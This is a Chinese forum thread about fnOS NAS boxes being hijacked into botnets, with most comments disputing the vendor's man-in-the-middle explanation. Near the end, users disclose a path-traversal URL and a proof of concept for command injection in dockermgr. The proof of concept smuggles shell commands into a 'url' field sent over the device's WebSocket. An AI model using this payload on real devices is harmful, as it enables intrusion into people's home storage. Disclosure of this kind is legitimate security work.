请不要把任何和邀请码有关的内容发到 NAS 节点。
邀请码相关的内容请使用 /go/in 节点。
如果没有发送到 /go/in，那么会被移动到 /go/pointless 同时账号会被降权。如果持续触发这样的移动，会导致账号被禁用。
邀请码相关的内容请使用 /go/in 节点。
如果没有发送到 /go/in，那么会被移动到 /go/pointless 同时账号会被降权。如果持续触发这样的移动，会导致账号被禁用。
首先感谢飞牛官方的技术人员凌晨 2 点还在协助解决安全问题，用爱发电，真的很辛苦！！再次感谢
先说我的 nas 出现的问题：大约一周前不定时爆连接数指向一个 ip ，疑似被黑成肉鸡攻击某个站点
在群里讨论后客服积极的拉了技术群并安排了技术人员分析，由于攻击是随机时间的不好抓取，今晚 9 点正好复现，凌晨 2 点飞牛的技术人员完成了安全问题的解决。
在此也给公网使用飞牛的朋友们一些安全小意见以减少 nas 被入侵的安全风险：
web 不建议直接映射，建议使用 tailscale 等类似的组网隧道，最最安全！
如果一定要公网开放 web ，不建议使用 5666 http 的明文端口，安全人员反馈我收到的就是疑似中间人攻击，问题源自于 5666 的明文 http 注入。
建议使用 5667 的 https 端口，开启 https 强制跳转，同时签名证书来保证安全
ssh 建议是在不调整 nas 时关闭，减少风险
使用强密码，不执行不开源的来源不明的脚本。
再次感谢飞牛官方团队的技术支持，凌晨 2 点技术在线解决问题说实话真的让我很惊讶，再次感谢，也希望我的遭遇可以让其他有相同问题的朋友们可以参考
先说我的 nas 出现的问题：大约一周前不定时爆连接数指向一个 ip ，疑似被黑成肉鸡攻击某个站点
在群里讨论后客服积极的拉了技术群并安排了技术人员分析，由于攻击是随机时间的不好抓取，今晚 9 点正好复现，凌晨 2 点飞牛的技术人员完成了安全问题的解决。
在此也给公网使用飞牛的朋友们一些安全小意见以减少 nas 被入侵的安全风险：
web 不建议直接映射，建议使用 tailscale 等类似的组网隧道，最最安全！
如果一定要公网开放 web ，不建议使用 5666 http 的明文端口，安全人员反馈我收到的就是疑似中间人攻击，问题源自于 5666 的明文 http 注入。
建议使用 5667 的 https 端口，开启 https 强制跳转，同时签名证书来保证安全
ssh 建议是在不调整 nas 时关闭，减少风险
使用强密码，不执行不开源的来源不明的脚本。
再次感谢飞牛官方团队的技术支持，凌晨 2 点技术在线解决问题说实话真的让我很惊讶，再次感谢，也希望我的遭遇可以让其他有相同问题的朋友们可以参考
 | 1 lyz2754509784 OP  2 附上代码 ss -tanp | awk -F'[",=]' '/users:\(\(/ {cnt[$2 ":" $6]++} END{for(i in cnt) print cnt[i], i}' | sort -nr 这样就可以看到是哪个进程在对外发包了----来自飞牛官方的技术人员 |
 | 2 MiKing233 1 天前 2026 年了这不是常识吗, Web 服务不应允许明文 HTTP, 必须经由 TLS 加密... |
 | 3 pingdog 1 天前 via iPhone … 以下疑问仅针对 OP 当前帖子的内容描述作出 常规 B/S 开发模型下，请求进入了 server/backend 不会将请求中继到公网，即使 backend 有向公网发出请求的行为，也是 hardcode 的地址，所以这个“不定时爆连接数指向一个 ip”是随机出现还是关联到某个服务。要是服务那是不是这段逻辑执行完没关闭 socket 就耗尽了。如果问题出在 server ，就类似前阵的 react2shell ，漏洞源于 react server component ，不过滤触发语句 http/https 一样打穿 |
 | 4 wskymark 1 天前 4 凌晨 2 点！飞牛这公司卷成这样 |
 | 5 yeh 1 天前 问题是，飞牛 drive 的端口，不就是 https 访问的端口吗？ 不对外映射，难道走 fn connect ？ fn connect 的 199/年，上行也就 40m 啊 超过 40m 的宽带可多了，哪怕是舍得花 199/年，也不满足要求啊。 |
 | 6 imlonghao 1 天前 via iPhone  9 将被入侵问题归因到中间人攻击那就是他们没有找到问题 |
 | 8 rockddd 1 天前 2 凌晨两点？没有买卖就没有伤害 |
 | 9 susunus 1 天前 2 凌晨 2 点！ 好的以后不用 飞牛了， 避免同行因此加班 |
 | 10 relife 1 天前 只开 ssh 公钥登录，然后用 ssh 反向代理端口访问也行 |
 | 11 verygood 1 天前 看下来还是没找到根因 |
 | 12 VVVYGD 1 天前 可以，飞牛。 |
 | 13 mingtdlb 1 天前 你还是给飞牛当时处理的这帮人点两杯奶茶吧，礼轻情意重 |
 | 14 fstab 1 天前 1 凌晨 2 点，说实话， 我是企业主，对于产品的服务还是挺满意的。 但是我是打工人，我只会站在打工人这边，哪怕是员工自愿加班， 或者初创公司员工持股，为了快速拿到融资或者变现而努力，但是我始终无法共情这个行为。 |
 | 15 yanqiyu 1 天前 @pingdog 我理解是怀疑中间人拿到了密码，或者关键用户 token ，导致攻击者获得 webui 的管理员权限。然后进行的渗透。 但是说实话，正常情况下真的有这么多公网上的 MITM 吗？我其实更怀疑楼主的机器设置了弱密码被暴破了。 |
 | 16 JqbR001 1 天前 完全不在公网访问 FN web |
 | 17 dushixiang 1 天前 2 中间人攻击？你用的哪家运营商的网络？我只见过中间人插入广告的，没见过中间人抓肉鸡的。 中间人攻击的含义是你和服务端直接的通信内容被中间人篡改了，例如你去请求某一个 http 的网页，他在中间插入了一段 js 来播放广告。 你现在说中间人攻击你的 NAS 变成肉鸡了，我只能怀疑是你得 NAS 会执行来自服务端的 命令，然后这个命令被中间人篡改了，执行之后被黑客控制了。 ---- 所以我觉得是没找到原因，也不懂网络安全，随便找个理由糊弄你呢。 |
 | 18 pplive 1 天前 网络安全从业者路过，我感觉中间人攻击这东西相当于内蒙古走路去西藏，麦当劳用打火机出餐，韩国战斗机空投摔炮打击日本。 |
 | 19 dilidilid 1 天前 2 QNAP 公网都出过事，绿联、飞牛这种小作坊式的系统上公网提供服务出啥问题都不奇怪，个人使用的话没有任何必要开公网入口，直接在把所有公网 IPv4 inbounding 全拦了就行，出门就用 tailscale/zerotier/wireguard ，啥事没有 |
| 20 dilidilid 1 天前 另外强密码/证书的 SSH 比各种乱七八糟的 docker web 服务安全一百倍，sshd 真有重大 0day 漏洞那可是安全届爆炸新闻了，你的 nas 都没有价值被 0day sshd 漏洞攻击 |
 | 21 TXisfine 1 天前 LZ 给的这些安全建议本身都很中肯。 但是中间人攻击的证据链没有公布。如果真是中间人并且成功进入了 fn 后台，那这就漏洞了吧？ |
 | 22 godwei 1 天前 学习一波 |
 | 23 hqt1021 1 天前 via Android 不是现在哪还流行中间人啊 |
 | 24 Xiangliangliang 1 天前 我也是 22 号被攻击了，这个是专门针对飞牛的攻击，有什么漏洞吧，还好就放了点小姐姐，其他什么数据也没放。 给大家提个醒，别管什么服务，只要放到外网都小心一点,尽量使用隧道访问。最好装个杀毒，防止工具链有后门什么的，我是装了个免费的腾讯云主机安全 agent 。谁也靠不住，自己上点心吧。。。 |
 | 25 ntedshen 1 天前 飞牛登录那个界面是在 websocket 里面套一层公钥加密的，这能中间人那多少得有几个仇家吧。。。 但是就这个描述来看确实是查个锤子，下次关了就得了。。。 |
 | 26 zhengfan2016 1 天前 我 unraid 都暴露公网 5 年了，就没被打过  |
 | 27 python35 1 天前 http 下 cookies 是明文，发生什么事情都不奇怪，实际上不需要在登陆的时候截获密钥 |
| 28 lyz2754509784 OP @Xiangliangliang 我也感觉是专门针对飞牛的攻击，但是不是这块专业的我也不敢下定论，群里不少和我一样的飞牛用户也是同样的遭遇 |
| 29 lyz2754509784 OP @TXisfine 感觉可能是一批针对飞牛的攻击？大约在一周前有一批用户都和我同样的问题 |
| 30 lyz2754509784 OP @yanqiyu 应该不是弱密码爆破，飞牛论坛上有个样本分析，和我是 22 日凌晨属于同一次攻击的，貌似是专门针对飞牛的 5666http web 的 |
 | 31 ImINH 1 天前 飞牛的为爱发电值得点赞！你描述的问题，很有可能已经有了“远程执行命令 RCE”、“服务器端请求伪造 SSRF”，这些问题，如果排除弱口令的可能，那基本就是有 http 服务未授权的接口，和是不是 ssl 无关。如果是一批用户可能是批量的扫描+漏洞打的，当然也有可能批量弱口令跑的。 |
 | 32 xxbing 1 天前 我猜测应该是有未授权的命令执行漏洞 或者 插件、docker 、第三方包 包含恶意代码 全部是猜测.中间人应该不太可能 |
| 33 lyz2754509784 OP @pplive https://s.threatbook.com/report/file/8f2226523c594b2e17d68a05dc12702132bb1859fc4b01af378208ac8a2547dc 大佬可以帮忙分析一下么，这个是同一批攻击受害者提取的样本 |
| 34 lyz2754509784 OP @yanqiyu https://s.threatbook.com/report/file/8f2226523c594b2e17d68a05dc12702132bb1859fc4b01af378208ac8a2547dc 这个是同一批攻击受害者提取的样本，大佬可以分析一下他是怎么攻击的么 不是这个方面的从业者，不知道能不能复现出最早是如何进入机器的 |
 | 35 AkinoKaedeChan 23 小时 39 分钟前 凭感觉是他们有漏洞吧，哪来那么多 MitM 。 |
| 36 yanqiyu 22 小时 54 分钟前 @lyz2754509784 #29 那更不可能是中间人攻击了，这么大规模 MITM 除了运营商等掌握基础设施的人没什么人能做到。有不是人人都随便连接奇怪的 WiFi ，恰好还用飞牛的 |
| 37 verygood 22 小时 37 分钟前 论坛好多人中招，感觉像 0day 漏洞被利用了，官方不知是不重视还是没能力朔源，这都几天了，还什么用户公网访问被利用 |
 | 38 weicools 22 小时 32 分钟前 没做反向代理 https ？ |
 | 39 civetcat 21 小时 41 分钟前 这么说应该是对飞牛的 5566 端口 web 服务进行了一些攻击，相对来说攻击成功的概率大一些。我还担心是随便一个端口暴露服务出去就会比较危险，我有一些简单的 docker 服务是直接开放 http 端口的 |
 | 40 alfawei 20 小时 13 分钟前 大概率是漏洞，wd 西部数据被漏洞搞最后关闭了 livebook 系列业务。 |
 | 41 patrickyoung 19 小时 1 分钟前 看完这个描述，不会是 MiTM ，一定是有什么漏洞的。楼主如果没有什么介意的隐私的话，可以把系统日志打包 po 上来看看 |
 | 42 yGin 18 小时 28 分钟前 2 在脱敏的情况下可以透露出更多技术细节么，目前 OP 说明的一些东西感觉和 mitm 关系不是很大，特别是 OP 提到的“安全人员反馈我收到的就是疑似中间人攻击，问题源自于 5666 的明文 http 注入”，如果厂家的某个技术真这样说，那么至少这句话在我这是个减分项（不是针对打工人，而是针对企业，安全事件反馈用户的内容是应该经过内部讨论后的严谨说明）。当然也有可能 OP 描述的和技术细节有一些偏差。 OP 有提到也有其他使用 FNOS 出现类似的问题，那么建议 OP 和飞牛讨论后再考虑是否公布技术细节，如果这是一个在野的 0day ，那么公布细节会增加漏洞的传播，这种情况下我们只能希望飞牛团队能尽快修复这个洞并后续能说明漏洞细节。 |
 | 43 epson3333 18 小时 5 分钟前 我也在使用飞牛，飞牛登录的时候不是有双重验证（ 2FA ）吗？为何这样还会被攻击 |
 | 44 a9htdkbv 16 小时 7 分钟前 就是有漏洞，路径穿越漏洞 |
| 45 lyz2754509784 OP @yGin 路径穿越漏洞,飞牛论坛搜 0day 可以看见，1.1.15 已修复 |
| 46 lyz2754509784 OP @patrickyoung 路径穿越漏洞,飞牛论坛搜 0day 可以看见，1.1.15 已修复 |
| 47 a9htdkbv 16 小时 3 分钟前 1 最新版已经修复了这个漏洞了，但是不公告，真的太不负责了 react 和之前宝塔的 888 洞至少通过短信和邮件通知了 |
| 49 MiKing233 11 小时 30 分钟前 1 @levelworm 何止是责任心不强, 是对所有使用它们系统用户的数据安全不负责任, 并且看起来至少一周前他们就已经意识到了这个漏洞, 期间一直捂着, 还用因 http 明文访问和中间人攻击来隐瞒用户, 以至于这篇贴主最开始还感谢飞牛团队, 实则是被它们忽悠蒙在鼓里信了它们找的中间人攻击这种鬼话, 想想真是讽刺 https://club.fnnas.com/forum.php?mod=viewthread&tid=53230  |
 | 50 taikobo 9 小时 47 分钟前 1 自己的数据不值钱么, 用这种没经过长时间验证, 开发团队背景不明的产品 一开始在到处宣传我就觉得奇怪, 你们怎么敢用 |
 | 51 youyouzi 8 小时 53 分钟前 1 凌晨 2 点加班解决问题，我看到是不是敬业，而是资本的压榨和底层牛马的心酸。 |
| 52 patrickyoung 8 小时 23 分钟前 1 还下不到历史版本，下载链接还有签名...合着全拿来防用户了... |
 | 53 laibin6 8 小时 12 分钟前 找到了 151.240.13.91 ip 。还是用用黑裙了 |
| 54 patrickyoung 7 小时 30 分钟前 找了个历史版本的 docker 看了下，其实日志还蛮多的...等一个有缘人看看能不能有日志 |
 | 56 Hantong 4 小时 49 分钟前 1 @patrickyoung 我能找到的有记录的版本是 https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-1.1.11-1438.iso, 然后拿官方的那个 https://fnnas.com/api/download-sign POST JSON `{"url": "https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-1.1.11-1438.iso"}` 签个名就行 |
| 57 patrickyoung 4 小时 39 分钟前 @Hantong 那我还是太高估他们了……下意识以为是一次性在后端生成的……闹半天单独签名 api…跟没签也没区别了… |
| 58 Hantong 4 小时 28 分钟前 @patrickyoung 老兄是要逆向分析么, 这件事就缺个逆向证据进一步实锤了 |
 | 59 kenvix 4 小时 14 分钟前 目前看来并不是 MITM 而是路径穿越漏洞。如果是大规模 MITM 意味着是运营商有内鬼，出这种事运营商比你更急。 |
| 60 yGin 4 小时 8 分钟前 @lyz2754509784 #45 我搜了一下 1.1.15 发布时间是 1 月 22 日，updatelog 里没有提到修复这个 0day ，无论是飞牛轮胎还是一些社群网站如 nodeseek ，在本周内都有提到飞牛攻击的事，可以 Google 就出来的，包括昨晚凌晨我刷飞牛论坛也有人提到自己的 1.1.15 ，但是也出现 CPU 高占用/有大量连接/大流量等情况，并且现在社区的维护人员也提到让用户查询是否大量下载/上传任务，在 0day 贴里也有人提高到 dockermgr       这些图全是我截图的 里面部分时间为相对时间。 不同的用户技术水平不一样，不是所有人都有 OP 这种能力判断自己被当作肉鸡，能发现自己 CPU 负载异常/大量连接/流量大少之又少，所以如果我们把那些最近系统组件大范围停止工作、流量异常、CPU 负载的用户都认为是被 0day 攻击的话，那么至少可以得出 1 月 22 日发布的 1.1.15 是没有解决用户被肉鸡这个事，飞牛是否有推出新的小的修订号来修正 0day 目前不清楚，但是用一个“1.1.15 已修复”的说法是非常模糊的，甚至带有误导性，让有运行着 1 月 22 日版本的用户觉得是自己安全的。 目前社区看下来普遍还是当肉鸡，没有提到被劫持数据的案例，飞牛我印象中是没有磁盘加密功能的了，如果出些大面积的数据劫持那么这次 0day 对飞牛的打击是巨大的。 目前还未发现有说自己是非公网环境下中招的，不过至少能确定昨天的疑问，就是 mitm 并不是正确的回应。 希望飞牛能尽快解决漏洞并给出官方的说明报告吧。 |
| 61 a9htdkbv 3 小时 58 分钟前 1 @yGin 我猜原始入口还是这个路径穿越获取了一些敏感配置文件，升级了 1.1.15 还存在问题可能是之前被攻击的残留，我公网搭了一台 1.1.15 蜜罐机，目前还没事 |
| 62 1 @a9htdkbv #61 感谢，如果是 1 月 22 日的版本发布已经修复，那我纠正我的说法，用户需要尽快更新到 1.1.15 ，而那些已经是 1.1.15 但之前被挂马的机器，是需要官方技术团本去帮用户解决木马的，毕竟用户使用你家的存储产品但因为漏洞而被入侵，这是你一个软件驱动的公司应该做的，大量的用户其实是没有能力手动清除那些马的，是需要官方出一个清除方案/专杀工具的。 不过也论证了一个事情，飞牛公司知晓自己的产品存在高危漏洞的情况下，不仅没有发出非常明显的公告让用户尽快升级，甚至还在修复版本的 updatlog 里不写这个漏洞，给人一种我不说就无人知晓的感觉。希望飞牛在黑客进行大规模数据劫持行为前能够正面、正确的面对这个事，对用户负责。 |
| 63 patrickyoung 3 小时 29 分钟前 |
| 64 Hantong 3 小时 23 分钟前 @patrickyoung 除了 "/app-center-static/serviceicon/myapp/{0}?size=../../../../" 这里的路径穿越还有洞? --- https://club.fnnas.com/forum.php?mod=viewthread&tid=48354, 好像这个问题已经很久了, 不是简单的路径穿越的问题 |
| 65 patrickyoung 3 小时 16 分钟前 Disclaimer: 仅供在自搭建的测试实例学习研究使用。 问题函数是 appcgi.dockermgr.systemMirrorAdd 和 appcgi.dockermgr.systemMirrorChange 存在在后端的 /usr/trim/bin/dockermgr 是一个 authorized RCE 。 如果论坛的用户没有弱口令，那说明这个系统前面还有一个 Authorization Bypass 。 系统架构是 Nginx 反代了一些 local unix socket (/run/*.socket) 与后端服务通信，几个端口都是到 nginx 的。 很不幸的是，这个过程全程通过 Websocket 通信，在系统本地我快速用我的测试 payload grep 了一下本地的文本格式日志和 systemd journal ，没有找到任何的日志记录。 系统在 /usr/trim/var/eventlogger_service 下面有一个 sqlite3 日志，依然是没有相关的日志。 @Hantong POC 稍后发出 |
| 67 patrickyoung 3 小时 14 分钟前 底层的关键代码是这样的： ``` snprintf( s, 0x2000u, "touch /run/test-mirror.json && dockerd --registry-mirror %s --validate --config-file /run/test-mirror.json", (const char *)v10[0]); if ( system(s) ) { sub_1012C0(v14, ""); sub_1012C0(v12, ""); ``` 稍微写过一点 linux C 的人都知道，直接拼接了用户的输入到 system() 导致了命令执行。 官方可能以为前端校验了一下 URL 格式，后端就不用管了，所以造成了问题。 |
| 68 patrickyoung 3 小时 5 分钟前 1 本来不太想发 POC 的，但是鉴于官方在 1.15 还是装死，还是公开了。 Disclaimer: 仅供在自搭建的测试实例学习研究使用。 测试 POC： WebSocket 连接： http://IP:5666/websocket?type=main 请求 Body： ``` cA8dKVgUFNf/5QdKdIa7nEhaup6ObIo6D18J0am+KBQ={"reqid":"697da669697da3bc000000090f31","req":"appcgi.dockermgr.systemMirrorAdd","url":"https://test.example.com ; /usr/bin/touch /tmp/hacked20260131 ; /usr/bin/echo ","name":"2"} ``` JSON 前面的内容是 使用浏览器的 localStorage.fnos-Secret 内的值作为 Key 对后面的 JSON 进行 HMAC-SHA256 后的签名。因为这个 Secret 仅在登陆成功后才会设定，因此需要现有一个有效的账户。 payload 放在请求体的 URL 内，成功后会在 /tmp 下创建文件 hacked20260131 。 此漏洞在当前最新版 1.1.15-1493 中仍然存在。 如果这个版本还有问题，那说明前面还有一个 authorization bypass 漏洞（要么是验证不当，要么是 Nginx 反代配置不当）。 ----- 这里感谢 @Hantong 的回复： 我能找到的有记录的版本是 https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-1.1.11-1438.iso, 然后拿官方的那个 https://fnnas.com/api/download-sign POST JSON `{"url": "https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-1.1.11-1438.iso"}` 签个名就行 ----- 当前的建议： - 不要在公网暴露你的实例，使用 Zerotier / Tailscale 加一层保护。 - 如果一定要，可以试试长亭的 雷池 WAF ，但是我没实际验证过效果。 |
| 69 patrickyoung 3 小时 0 分钟前 One more thing, 已中招的用户请考虑停止使用你的实例，一般类似的病毒加了 rootkit 之外都还有其他的持久化措施，我不想花时间再去看他们的东西了，如果数据区有相关感染的话，重装也没用。 |
 | 70 oppose2336 2 小时 34 分钟前 |
 | 71 asuraa 2 小时 14 分钟前 1 这次这个漏洞事件说明飞牛官方毫无担当，有问题就会采取鸵鸟政策，以后绝对不能再用飞牛了，群晖虽然慢，但是靠谱，用了这么多年没出过这种恶行漏洞 |
| 72 pingdog 1 小时 54 分钟前 via iPhone 1 @patrickyoung 行动力 max 。属于强行提高飞牛的技术能力了 和我推测的差不多，https://v2ex.com/t/1189672?p=1#r_17274769 不过提醒一下。。针对国产软件公司无预警就发布 PoC ，有点风险。适当时候注意保护自己。 |
 | 73 chqome 1 小时 50 分钟前 1 |
| 74 Hantong 1 小时 37 分钟前 1 @patrickyoung 这洞也太低级了... 不过楼下也说了, 没授权公开 PoC, 怕等下直接上门了() 路径穿越那个, 我后面又搜了一下, 其实早在 1.1.8 还有个更低级的表现, 不知道你有没有留意到: https://club.fnnas.com/forum.php?mod=viewthread&tid=48354 |
 | 75 dianso 1 小时 37 分钟前 越开发越不安全，还不如直接 debian ubuntu |
 | 76 qianlongzt 1 小时 22 分钟前 1 这个漏洞至少可以追溯到 0.9.9   |
 | 77 lurenjia12138 1 小时 11 分钟前 @patrickyoung 估摸着是用任意读获得到了密钥什么的？ 截图中，攻击者尝试读取的那个文件，是给/usr/trim/bin/trim 这个程序使用的 |
| 78 dilidilid 55 分钟前 1 @patrickyoung 牛逼，直接用 system 执行整段命令，2026 年还有这种操作，飞牛都是什么草台班子呀。。。看来一年多主要就用在前端屎上雕花去了，根本没打磨底层的东西，整天被 B 站那些玩机小子带着跑加一堆花里胡哨的功能 |
| 79 dilidilid 50 分钟前 群晖还有魔改 btrfs ，SHR ，以及备份套件、云盘套件啥的很难平替，飞牛真没感觉有啥功能是 Debian/Ubuntu + Docker 很难做到的，要是追求开箱即用有钱买群晖，没钱买绿联，飞牛难道指望靠更穷的哥们盈利吗。。。 |
| 80 lurenjia12138 49 分钟前 |
 | 81 fuchaofather 15 分钟前 @pmgh10 哈哈哈哈，确实 |
Select Language